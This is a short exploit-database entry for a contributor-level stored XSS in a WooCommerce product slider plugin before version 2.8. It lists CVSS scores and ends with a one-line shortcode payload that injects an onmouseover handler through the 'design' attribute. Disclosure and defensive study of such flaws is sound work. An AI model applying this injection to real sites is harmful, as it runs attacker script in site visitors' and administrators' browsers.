Exploit for Product Slider and Carousel with Category for WooCommerce < 2.8 - Contributor+ Stored XSS via Shortcode

wpexploit · 2023-01-24

Description

Product Slider and Carousel with Category for WooCommerce < 2.8 - Contributor+ Stored XSS via Shortcod

Essentialplugin Product Slider And Carousel With Category With Woocommerce< 2.8

5.4

MEDIUM SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:LOW

User Interaction:REQUIRED

Scope:CHANGED

Confidentiality:LOW

Integrity:LOW

Availability:NONE

0.5%higher than 36.9% of all CVEs

Updated 2026-06-16

Modified:2023-01-24 02:34

Last Seen:2023-05-21 20:45

Reporter:Lana Codes

MARKDOWN2 lines

## https://sploitus.com/exploit?id=WPEX-ID:0A6E4C45-3F6D-4150-9546-141C2E3A1782
[wcpscwc_pdt_slider design='" onmouseover="alert(1)"']